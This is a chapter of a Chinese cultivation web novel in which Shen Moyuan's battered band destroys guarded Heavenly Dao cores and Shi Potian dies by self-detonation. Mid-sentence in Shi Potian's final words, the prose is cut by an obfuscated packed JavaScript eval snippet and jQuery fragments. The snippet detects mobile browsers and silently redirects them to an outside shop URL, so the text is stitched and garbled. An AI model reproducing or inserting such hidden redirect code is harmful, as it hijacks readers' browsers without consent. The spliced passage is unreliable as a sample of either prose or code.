第二个核心比第一个更远。
沈墨渊走在前面，手里的断刀拖在地上，刀尖在碎石上划出一道歪歪扭扭的痕迹。他没回头，但听得到身后的脚步声——很重，每个人都像拖着一条命在走。
风从裂缝里灌下来，冷得刺骨。
“到了。”云澈的话从背后传来，沙哑得不像他。
沈墨渊。
前面是一个山谷，山谷中央悬着一颗金色的球体，比第一个核心大了足足一圈。表面的金色纹路像血管一样跳动着，每跳一下，地面就跟着震动一次。三个天道分身悬浮在核心周围，金光凝成人形，看不清脸，但那种压过来的，让沈墨渊的膝盖弯了一下。
元婴初期。
三个，都是元婴初期。
沈墨渊转头看了一眼身后的人。
小古靠在石壁上，脸色发白，手里握着那把已经卷了刃的刀，手上全是血。他体内灵力耗尽，甚至连站直都有些费力。
云澈的剑还在，但剑刃上满是缺口，像被狗啃过一样。他的右手在发抖，虎口裂开，血顺着手腕往下淌，滴在地上，一滴，一滴。
秦霜的轻甲碎了半边，左肩上有一个拳头大的窟窿，血已经把整条袖子染透了。她用布条勒住伤口打了个死结，但每走一步，布条上就渗出一片新的血迹。
沈墨渊自己也好不到哪去。灰色能量在体内沉得像一块石头，他根本调动不了。破厄诀还在转，但经脉里的灵气像干涸的河床，只剩下最后一小股。
四个人。
三个元婴初期的天道分身。
沈墨渊深吸一口气，空气里全是焦糊味。
“怎么打？”云澈问。
沈墨渊没说话，举起断刀，指了指左边那个分身。
“我扛左边那个。”
又指了指中间那个。
“云澈，中间归你。”
“右边那个呢？”秦霜问。
沈墨渊沉默了两秒。
“小古和秦霜，一起拖住它。”
“拖多久？”小古问。
“拖到我打死左边那个。”
沈墨渊说完，冲了出去。
他听到了身后云澈拔剑的嗓音，听到秦霜的刀出鞘的摩擦声，听到小古咬着牙骂了一句什么脏话——但他没回头，因为左边那个分身已经动了，金色的手掌拍过来，带起一阵狂风。
沈墨渊侧身躲过，金色的手掌擦着他的肩膀过去，带掉一块皮肉。他没停，继续往前冲，破厄诀在体内疯狂运转，最后一点灵气全部涌到拳头上。
一拳。
拳头砸在分身的胸口，金色的光芒炸开。
分身退了半步。
沈墨渊的拳头骨裂了。
他听见自己闷哼了一声，咬住牙，又是一拳。力气从拳头上倾泻出去，他的腿一软，差点跪下，但拳头砸实了。分身的胸口出现了一道裂纹，金色的液体渗了出来。
“再来！”
沈墨渊吼了一声，眼眶都红了。
第三拳。
第四拳。
每一拳都像砸在一块铁板上，他的指节碎了，拳头的皮肉全烂了。但裂纹在扩大，从一道变成了一整片，像碎裂的陶器。
第五拳。
金色的分身炸开了。
碎片像雨一样落下，沈墨渊跪在地上，右手骨头露在外面，血顺着手指往下淌。他没停，抬眼看了一眼山谷中央，云澈正在跟中间那个分身缠斗，剑断了，他直接用拳头往分身的脸上砸。秦霜和小古拖住了右边那个，但小古的胸口被洞穿了一个洞，正往外冒着血。
沈墨渊撑着地面站起来。
“下一个。”
嗓音哑得快听不清了。
他往前走，手里拿着那把断刀，刀尖在地上拖出一道长长的血迹。
第二个核心炸开的时候，沈墨渊已经站不住了。
他单膝跪在地上，大口大口喘着气，血从嘴角流下来，把脚下的地面洇成一片深色。破裂的天空中又多了一个缺口，裂缝在扩大，像一张嘴正在慢慢张开。
还剩十一个。
“还能走吗？”云澈问。
云澈的左眼肿得只剩一条缝，嘴角裂开一道口子，剑已经断成了两截，手里握着的是半截剑身。他的手臂在抖，不知道是累的还是伤的。
沈墨渊没回答，只是撑着地面站起来。
“走。”
第三个核心更远。
他们走了快一个时辰，每个人都是一步一步拖着腿走的。小古的血流了一路，秦霜的左肩已经麻木了，连刀都握不稳了。云澈的断剑不知道什么时候掉了，他从地上捡了一把刀——不知道是谁留下的，刀柄上全是血迹，刀刃也已经钝了。
沈墨渊的断刀还在，但刀身已经卷了刃。
他看到第三个核心的时候，心里咯噔了一下。
比前面两个都大。
守卫不是三个，是五个。
沈墨渊站在原地，看着那五个金色的分身，没有说话。
“五个。”云澈说，里带着一种麻木的冷静。
“嗯。”沈墨渊说。
“打吗？”
沈墨渊沉默了很久。
他回头看了一眼身后的人。
小古的胸口还在流血，秦霜的左肩已经抬不起来了，云澈的手抖得像个筛子。
他自己也差不多。双臂的骨头裂了三处，右手的两指已经断了，连握刀都费劲。
但他还是说了一句：“打。”
冲上去之前，石破天忽然抬手拉住了他的胳膊。
沈墨渊回头，看到石破天的眼睛。那双眼睛很亮，亮得不正常，像一头终于冲到了悬崖边的野兽，没有恐惧，只有平静。
“俺来。”
石破天只说了一句，然后松开了手，，加速冲向了第三个核心。
速度快得像一道影子。
沈墨渊愣了一瞬。
“石破天——”小古喊了一声。
石破天没有回头。
他冲进了核心周围的金色光芒里，五个天道分身同时转向他，金色的手掌从四面八方拍过来，但他没有躲，也没有停。他直接用身体撞了过去，撞在核心的表面，用双手卡住了核心底部的一道缝隙——那是自爆机关启动的位置。
金色的纹路开始发红。
整个核心开始剧烈震动。
石破天回头看了一眼小古，咧开嘴笑了一下。
“老子这辈子杀过很多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759250|204904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人——”
他看了一眼沈墨渊。
“也救过很多人。”
他笑了，笑得很大声，眼角的褶子里全是血。
“够了。”
然后他引爆了体内所有的灵气。
轰——
金色的光芒炸开来，像一轮太阳在山谷中升起。冲击波把沈墨渊整个人掀飞出去，他滚了七八丈远，撞在一块石头上，后背传来一阵钻心的痛。他趴在碎石堆里，耳朵里嗡嗡作响，眼前一片模糊。
他挣扎着抬起头。
第三个核心的位置，只剩下一片血雾。
碎肉像雨一样从天上落下来，打在他脸上，滚烫的，带着一股铁锈味。
“石破天……”
小古跪在地上，手撑着地面，手心按在一小块破碎的布料上。那块布料已经被血浸透了，边缘烧焦了，上面还能勉强看出原来是一件黑色皮甲。
小古没有喊。
他只是跪在那里，低着头，肩膀一抖一抖的，没有出声。
云澈把断剑插进地里，别过脸去。
秦霜咬住嘴唇，咬出血来，但还是没忍住，眼泪顺着脸颊往下淌。
沈墨渊站起来。
腿在发软，腿肚子在抖，筋像一根绷紧的弦，随时会断。但他还是站起来，一步一步走到小古身边，举手，按在小古的肩膀上。
“继续。”
他听见自己的嗓音。
小古没说话，也没动。
“小古。”沈墨渊说，“继续。”
小古终于抬起头，眼睛红得吓人，但没有眼泪，只是看着沈墨渊，看了很久。
然后他站起来，握着那把卷了刃的刀。
四个。
他们摧毁了四个天道核心。
沈墨渊走在最前面，断刀拖在地上，刀尖和碎石摩擦的嗓音尖锐得像一根针扎进耳朵里。但沈墨渊没有回头，他不敢回头看小古的脸，不敢看云澈发抖的手，不敢看秦霜发白的嘴唇——因为他知道，他一旦停下来，就再也走不动了。
天空中的裂缝已经扩大到覆盖了整个天际。
不是一道了，是无数道，密密麻麻的，像一面完整的镜子被人砸碎了又拼回去。裂缝中渗出金色的液体，像眼泪一样滴落下来，砸在大地上，腐蚀出一个个深坑，冒着白烟，里面有修士在哀嚎，有凡人抱着孩子在逃跑，有妖兽在废墟中嘶鸣，话从很远的地方传过来，像从另一个世界传来的。
整个世界都在崩溃。
沈墨渊站在一片碎石堆上，看着远处。剩下九个天道核心的光芒在天际尽头亮着，像九颗不肯落下的太阳，刺得他眼睛发酸。
“继续。”
他说。
小古没有说话，只是偷偷跟上来，脚步很重，每一步都踩在碎石上，咯吱咯吱响。
云澈的剑断了。
他把断剑扔在地上，弯腰从碎石堆里捡起一把刀——不知道是谁留下的，刀柄上全是灰，刀身钝得连纸都割不开。他握了握，握紧了，继续走。
眼泪不知道什么时候流下来的。
沈墨渊没擦，也没停下。
他知道，铁牛和石破天在看着他，在天上，在风里，在这片即将碎裂的大地上。